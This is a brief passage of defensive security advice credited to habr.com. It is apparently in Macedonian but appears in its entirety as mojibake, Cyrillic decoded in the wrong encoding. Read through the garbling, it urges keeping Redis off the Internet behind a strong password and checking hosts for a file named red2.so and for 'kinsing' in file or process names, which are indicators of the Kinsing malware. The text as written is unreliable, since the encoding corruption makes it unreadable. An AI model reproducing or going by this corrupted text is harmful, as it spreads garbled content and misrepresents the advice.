ΠΡΠ²ΠΎ, Redis Π½Π΅ ΡΡΠ΅Π±Π° Π΄Π° Π±ΠΈΠ΄Π΅ Π΄ΠΎΡΡΠ°ΠΏΠ΅Π½ ΠΎΠ΄ ΠΠ½ΡΠ΅ΡΠ½Π΅Ρ ΠΈ ΡΡΠ΅Π±Π° Π΄Π° Π±ΠΈΠ΄Π΅ Π·Π°ΡΡΠΈΡΠ΅Π½ ΡΠΎ ΡΠΈΠ»Π½Π° Π»ΠΎΠ·ΠΈΠ½ΠΊΠ°. ΠΡΡΠΎ ΡΠ°ΠΊΠ°, Π²Π°ΠΆΠ½ΠΎ Π΅ ΠΊΠ»ΠΈΠ΅Π½ΡΠΈΡΠ΅ Π΄Π° ΠΏΡΠΎΠ²Π΅ΡΠ°Ρ Π΄Π΅ΠΊΠ° Π½Π΅ΠΌΠ° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° red2.so Π²ΠΎ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ Redis ΠΈ Π΄Π΅ΠΊΠ° Π½Π΅ΠΌΠ° βkinsingβ Π²ΠΎ ΠΈΠΌΠ΅ΡΠΎ Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ°/ΠΏΡΠΎΡΠ΅ΡΠΎΡ Π½Π° Π΄ΠΎΠΌΠ°ΡΠΈΠ½ΠΎΡ.
ΠΠ·Π²ΠΎΡ: www.habr.com